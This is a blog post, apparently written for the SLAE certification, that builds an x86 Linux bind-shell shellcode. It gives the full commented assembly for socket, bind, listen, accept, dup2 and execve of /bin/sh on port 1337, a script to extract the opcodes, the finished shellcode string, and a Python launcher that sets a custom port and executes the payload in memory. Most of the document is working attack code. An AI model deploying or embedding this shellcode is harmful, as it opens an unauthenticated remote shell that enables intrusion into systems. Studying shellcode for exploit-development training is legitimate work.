SLAE Assignment 1 - Shell Bind Tcp
Introduction
This is the first post of the SLAE exam assignments series.
The first assignement is to create a a shell_bind_tcp shellcode that binds to a port and execs shell on incoming connection.
The port number should be easily configurable.
All the source code for this assignment can be find on my github repository
Shellcode overview
Socket basics
To listen and accept incoming connections, we need to follow those steps :
- first we need to create a socket with the desired properties (here an IPv4, TCP socket)
- then bind this socket to an address and port
- put the socket in a listening mode to wait for connections
- and finally, accept new incoming connection
We have two ways to do this :
- Using the socket, bind, listen and accept4 syscalls
- Or using the socketcall syscall
In the following, we will use the socketcall syscall.
Bind a shell to the socket
Once an incoming connection is accepted, we need to redirect the standards i/o streams to it so we can interact with the shell we will be executing.
To do so we need to duplicate the socket file descriptor and overwrite the stdin(0), stdout(1) and stderr(2) files descriptor, using dup2 syscall.
Then we can run our shell using the execve syscall.
The assembly code
A list of prototypes, associated headers files and manpages, special variables etc… that will be used to complete this assignment, can be find at the bottom of this post.
Create the socket
We need to use the socketcall with SYS_SOCKET in EBX and ECX pointing to the socket function arguments on the stack.
These arguments need to be AF_INET, SOCK_STREAM, 0 placed in reverse order because the stack is a LIFO data structure (Last In First Out).
A socket file descriptor will be returned in EAX, we will save it in EDI for later use.
;socket(AF_INET, SOCK_STREAM, 0)
;socketcall(SYS_SOCKET, *socket_args)
xor ebx, ebx ; set ebx to 0
mul ebx ; set eax and edx to 0
push ebx ; 0 for the protocol argument
inc ebx
push ebx ; SOCK_STREAM
push byte 0x2 ; AF_INET
mov ecx, esp ; ecx now points to the socket's arguments
; ebx already set to SYS_SOCKET
add al, 0x66 ; socketcall
int 0x80
xchg edi, eax ; we save the sockfd to edi
; (xchg is one byte opcode, so best than mov(2 bytes)
; because we dont care about eax value)
Bind the socket
We push the sockaddr structure on the stack (always in reverse order, I will not mention it anymore), with values AF_INET, 0x3905 for port 1337 and INADDR_ANY for ip address 0.0.0.0 (all host’s ips), and we save the address in ECX.
Next we need a pointer to the bind function’s arguments, so we push sockfd (in EDI), the address of the sockaddr structure (in ECX) and the addrlen value 0x10 then we copy the stack address in ECX for the socketcall call, EBX is set to SYS_BIND already, and we set EAX to the socketcall value.
On success, return 0 in EAX
;sockaddr{AF_INET, port, INADDR_ANY}
;bind(sockfd, *addr, addrlen)
;socketcall(SYS_BIND, *socket_args)
pop ebx ; ebx set to SYS_BIND
; 2 was the last value pushed on the stack
push edx ; INADDR_ANY (bind to 0.0.0.0)
push word 0x3905 ; the port 1337
push bx ; AF_INET
mov ecx,esp ; ecx point to the sockaddr struct
push 0x10 ; sockaddr struct length
push ecx ; address to the sockaddr struct
push edi ; sockfd previously saved
mov ecx,esp ; ecx points to the bind's arguments
push 0x66 ; socketcall
pop eax
int 0x80
Listen for connections
The listen call type is the simpliest, we push sockfd and 0x00 (EDX)
Then we make a socketcall call with EBX set to SYS_LISTEN
On success, return 0 in EAX
;listen(sockfd, backlog)
;socketcall(SYS_LISTEN, *socket_args)
push edx ; 0, no queue allowed
push edi ; the sockfd previously saved
mov ecx,esp ; ecx point to the listen's arguments
shl ebx, 1 ; SYS_LISTEN
; shift one bit left (multiply by 2) so ebx is 4
; (2 bytes opcode, 3 bytes for: add ebx, 0x2
mov al,0x66 ; socketcall
int 0x80
Accept connection
Accept take three arguments : the socket file descriptor, a pointer to a sockaddr struct for the client informations and a pointer to the sockaddr length.
But because we don’t need the client informations and for a shorter shellcode we will these two pointers to null pointer.
So we push the accept arguments sockfd (EDI), null pointer (EDX), null pointer (EDX)
Then we make a socketcall call with EBX set to SYS_ACCEPT.
On success, return a new socket file descriptor in EAX
;accept(sockfd, *addr, *addrlen)
;socketcall(SYS_ACCEPT, *socket_args)
push edx ; null pointer
push edx ; null pointer, we don't care about client informations
push edi ; sockfd
mov ecx,esp ; ecx points to the accept's arguments
inc ebx ; SYS_ACCEPT
mov al,0x66 ; socketcall
int 0x80
Overwrite standard I/O
Here we need to overwrite all standards I/O with the new socketfd.
So we make a loop to make three dup2 call with the values of stderr (2), stdout (1), stdin (0),
In this order so at the end we have ECX set to 0, and that will be usefull to gain some bytes for our shellcode length.
On success, return the new file descriptor in EAX (so 0 on the last call)
;dup2(sockfd, stderr)
;dup2(sockfd, stdout)
;dup2(sockfd, stdin])
xchg ebx, eax ; set ebx to the new sockfd from accept
push byte 0x3
pop ecx
link:
dec ecx ; set ecx from 2 to 0 (stderr to stdin)
mov al,0x3f ; dup2
int 0x80
jne link ; if ecx not equal to stdin, overwrite next standard I/O stream
Pop a shell
Time to pop a shell,
We push the “/bin//sh” string on the stack without forgetting the null byte, and we copy the address in EBX.
ECX and EDX are already set null point (0x00) so we can make an execve call.
We don’t care about a proper exit so we are done.
;execve("/bin//sh", NULL, NULL)
push edx ; string terminator 0x00
push 0x68732f2f ; push /bin//sh in reverse order
push 0x6e69622f
mov ebx,esp ; ebx point to /bin//sh string
; ecx and edx are already set to 0x00 (Null pointer)
mov al,0xb ; execve
int 0x80
Customise the port and exec the shellcode
Now we will compile and generate the shellcode using this script :
#!/bin/bash
printf "[x] Assembling...\n"
nasm -f elf32 $1.nasm -o $1.o
printf "[x] Linking...\n"
ld $1.o -o $1
printf "[x] Done !\n\n"
printf "Shellcode : \n"
objdump -d ./$1|grep '[0-9a-f]:'|grep -v 'file'|grep -v 'format'|cut -f2 -d:|cut -f1-6 -d' '|
tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
root@kali:~# ./compile.sh shell-bind-tcp
[x] Assembling...
[x] Linking...
[x] Done !
Shellcode :
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\x04\x66\xcd\x80\x97\x5b\x52\x66\x68\x05\x39\x66\x53\x89\xe1\x6a\x10
\x51\x57\x89\xe1\x6a\x66\x58\xcd\x80\x52\x57\x89\xe1\xd1\xe3\xb0\x66\xcd\x80\x52\x52\x57\x89\xe1\x43\xb0\x66\xcd\x80
\x93\x6a\x03\x59\x49\xb0\x3f\xcd\x80\x75\xf9\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
Next to customise the port, we will integrate this shellcode into a python script :
#!/usr/bin/python3
# Demey Alexandre
# PA-14186
from ctypes import CDLL, CFUNCTYPE, c_char_p, cast
from sys import argv
import argparse
# Setting the arguments
parser = argparse.ArgumentParser()
parser.add_argument("-e", "--exec",
help="If set, the shellcode is printed to the screen then executed",
action="store_true")
parser.add_argument("-p", "--port", type=int,
help="Change the port to bind (Default:1337)")
args = parser.parse_args()
# Change port number if a custom one is given
port = 1337
if args.port and args.port > 0 and args.port <= 65535:
port = args.port
# Format the port
port = "{0:0{1}x}".format(port,4)
port = "\\x" + port[:2] + "\\x" + port[2:]
# Insert the port in the shellcode
shellcode_str = "\\x31\\xdb\\xf7\\xe3\\x53\\x43\\x53\\x6a\\x02\\x89\\xe1\\x04\\x66\\xcd"\
"\\x80\\x97\\x5b\\x52\\x66\\x68{}\\x66\\x53\\x89\\xe1\\x6a\\x10\\x51\\x57\\x89\\xe1\\x6a"\
"\\x66\\x58\\xcd\\x80\\x52\\x57\\x89\\xe1\\xd1\\xe3\\xb0\\x66\\xcd\\x80\\x52\\x52\\x57"\
"\\x89\\xe1\\x43\\xb0\\x66\\xcd\\x80\\x93\\x6a\\x03\\x59\\x49\\xb0\\x3f\\xcd\\x80\\x75"\
"\\xf9\\x52\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\xb0\\x0b\\xcd"\
"\\x80".format(port)
shellcode_bytes = bytes.fromhex(shellcode_str.replace('\\x',''))
print("Shellcode size : {}".format(len(shellcode_bytes)))
print('"{}"'.format(shellcode_str))
if args.exec :
libc = CDLL("libc.so.6")
c_shell_p = c_char_p(shellcode_bytes)
launch = cast(c_shell_p, CFUNCTYPE(c_char_p))
launch()
Then we can launch the script to set a new port and/or execute directly the shellcode :
Ressources
#man socketcall
int socketcall(int call, unsigned long *args);
#man socket
int socket(int domain, int type, int protocol);
#man bind
int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
#man listen
int listen(int sockfd, int backlog);
#man 2 accept
int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
#man dup2
int dup2(int oldfd, int newfd);
#man execve
int execve(const char *filename, char *const argv[], char *const envp[]);
#man 7 ip
struct sockaddr_in {
sa_family_t sin_family; /* address family: AF_INET */
in_port_t sin_port; /* port in network byte order */
struct in_addr sin_addr; /* internet address */
};
#/usr/include/asm/unistd_32.h
#define __NR_execve 11
#define __NR_dup2 63
#define __NR_socketcall 102
#/usr/include/linux/net.h
#define SYS_SOCKET 1 /* sys_socket(2) */
#define SYS_BIND 2 /* sys_bind(2) */
#define SYS_LISTEN 4 /* sys_listen(2) */
#define SYS_ACCEPT 5 /* sys_accept(2) */
#/usr/include/netinet/in.h
#define INADDR_ANY ((in_addr_t) 0x00000000)
# cat /usr/include/bits/socket_type.h
SOCK_STREAM = 1, /* Sequenced, reliable, connection-based
#define SOCK_STREAM SOCK_STREAM
#/usr/include/bits/socket.h
#define PF_INET 2 /* IP protocol family. */
#define AF_INET PF_INET
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification
Student ID: PA-14186